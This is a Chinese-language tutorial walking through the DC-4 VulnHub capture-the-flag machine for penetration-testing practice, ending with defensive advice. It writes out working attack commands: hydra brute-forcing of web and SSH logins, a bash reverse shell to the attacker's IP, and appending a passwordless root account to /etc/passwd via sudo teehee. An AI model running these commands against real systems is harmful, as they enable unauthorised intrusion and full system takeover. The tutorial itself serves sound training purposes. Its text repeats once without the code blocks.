DC:4
字数 1145 2025-08-19 12:42:14

DC-4 靶机渗透测试详细教学文档

一、环境准备

靶机信息

  • 靶机名称: DC-4
  • 下载地址: https://vulnhub.com/entry/dc-4,313/
  • 网络配置: 攻击机和靶机在同一局域网(192.168.44.0/24)

攻击机配置

  • IP地址: 192.168.44.133
  • 推荐工具: Kali Linux

靶机配置

  • IP地址: 192.168.44.136

二、信息收集阶段

1. 主机发现

使用以下命令确定靶机IP:

# 使用nmap进行主机发现
nmap -sn 192.168.44.0/24

# 或者使用arp-scan
arp-scan -I eth0 -l

2. 端口扫描

对发现的靶机IP进行详细端口扫描:

nmap -sV -p- 192.168.44.136

扫描结果分析:

  • 80端口: HTTP服务(可能是Web应用)
  • SSH端口: 22端口开放

3. Web目录扫描

使用工具如dirb、gobuster或dirsearch进行目录扫描:

gobuster dir -u http://192.168.44.136 -w /usr/share/wordlists/dirb/common.txt

扫描结果: 目录结构很干净,没有发现明显的敏感目录或文件

三、Web应用渗透测试

1. 登录框测试

发现Web应用只有一个登录框,进行以下测试:

SQL注入测试

尝试常见SQL注入payload:

  • admin' OR '1'='1
  • admin' --
  • admin' /*

结果: SQL注入尝试失败

暴力破解

使用不同字典进行密码爆破:

  1. 首先尝试小字典(16kB)
hydra -l admin -P small_wordlist.txt 192.168.44.136 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid"
  1. 小字典失败后,使用大字典(10万密码)
hydra -l admin -P large_wordlist.txt 192.168.44.136 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid"

成功结果: 爆破成功,密码为"happy"

2. 命令执行漏洞利用

登录后发现命令执行功能:

  1. 测试命令执行:
    • 前端输入命令如"ls",观察响应
    • 使用Burp Suite拦截请求,修改命令参数为"whoami"

验证: 确认存在命令注入漏洞,可以执行任意系统命令

  1. 获取反向shell:
# 在攻击机监听
nc -lvnp 4444

# 在命令执行处输入
bash -i >& /dev/tcp/192.168.44.133/4444 0>&1

四、权限提升阶段1

1. 寻找SSH凭证

  1. 在系统中搜索敏感文件:
find / -name "id_rsa" 2>/dev/null
find / -name "*.bak" 2>/dev/null
  1. 发现备份文件:
/home/jim/backups/old-passwords.bak

2. SSH暴力破解

使用发现的密码列表爆破jim用户的SSH:

hydra -l jim -P old-passwords.bak ssh://192.168.44.136

成功结果: 爆破成功,获得jim用户SSH访问权限

五、权限提升阶段2

1. 横向移动

  1. 检查邮件:
cat /var/mail/jim
  1. 发现charles用户发送的邮件,包含密码

  2. 切换用户:

su charles
# 输入邮件中的密码

2. 最终提权

发现charles可以使用teehee编辑器:

  1. 检查sudo权限:
sudo -l
  1. 利用teehee提权方法:
# 方法1: 添加root用户到/etc/passwd
echo "root2::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd
su root2
# 无需密码即可获得root shell

# 方法2: 写入SSH公钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1y..." | sudo teehee -a /root/.ssh/authorized_keys
  1. 成功获取root权限

六、获取flag

在root目录下查找flag文件:

find / -name "*flag*" 2>/dev/null
cat /root/flag.txt

七、总结与关键点

  1. 关键渗透路径:

    • Web登录爆破 → 命令注入 → SSH凭证发现 → SSH爆破 → 邮件密码泄露 → teehee提权
  2. 学习要点:

    • 不要忽视简单的密码爆破
    • 命令注入漏洞的识别与利用
    • 系统内部信息收集的重要性(邮件、备份文件)
    • 非常规提权方法(teehee编辑器)
  3. 防御建议:

    • 使用强密码策略
    • 限制命令执行功能
    • 定期检查系统备份文件
    • 监控sudo权限配置
    • 及时更新有潜在危险的setuid程序
DC-4 靶机渗透测试详细教学文档 一、环境准备 靶机信息 靶机名称: DC-4 下载地址: https://vulnhub.com/entry/dc-4,313/ 网络配置: 攻击机和靶机在同一局域网(192.168.44.0/24) 攻击机配置 IP地址: 192.168.44.133 推荐工具: Kali Linux 靶机配置 IP地址: 192.168.44.136 二、信息收集阶段 1. 主机发现 使用以下命令确定靶机IP: 2. 端口扫描 对发现的靶机IP进行详细端口扫描: 扫描结果分析 : 80端口: HTTP服务(可能是Web应用) SSH端口: 22端口开放 3. Web目录扫描 使用工具如dirb、gobuster或dirsearch进行目录扫描: 扫描结果 : 目录结构很干净,没有发现明显的敏感目录或文件 三、Web应用渗透测试 1. 登录框测试 发现Web应用只有一个登录框,进行以下测试: SQL注入测试 尝试常见SQL注入payload: admin' OR '1'='1 admin' -- admin' /* 结果 : SQL注入尝试失败 暴力破解 使用不同字典进行密码爆破: 首先尝试小字典(16kB) 小字典失败后,使用大字典(10万密码) 成功结果 : 爆破成功,密码为"happy" 2. 命令执行漏洞利用 登录后发现命令执行功能: 测试命令执行: 前端输入命令如"ls",观察响应 使用Burp Suite拦截请求,修改命令参数为"whoami" 验证 : 确认存在命令注入漏洞,可以执行任意系统命令 获取反向shell: 四、权限提升阶段1 1. 寻找SSH凭证 在系统中搜索敏感文件: 发现备份文件: 2. SSH暴力破解 使用发现的密码列表爆破jim用户的SSH: 成功结果 : 爆破成功,获得jim用户SSH访问权限 五、权限提升阶段2 1. 横向移动 检查邮件: 发现charles用户发送的邮件,包含密码 切换用户: 2. 最终提权 发现charles可以使用teehee编辑器: 检查sudo权限: 利用teehee提权方法: 成功获取root权限 六、获取flag 在root目录下查找flag文件: 七、总结与关键点 关键渗透路径 : Web登录爆破 → 命令注入 → SSH凭证发现 → SSH爆破 → 邮件密码泄露 → teehee提权 学习要点 : 不要忽视简单的密码爆破 命令注入漏洞的识别与利用 系统内部信息收集的重要性(邮件、备份文件) 非常规提权方法(teehee编辑器) 防御建议 : 使用强密码策略 限制命令执行功能 定期检查系统备份文件 监控sudo权限配置 及时更新有潜在危险的setuid程序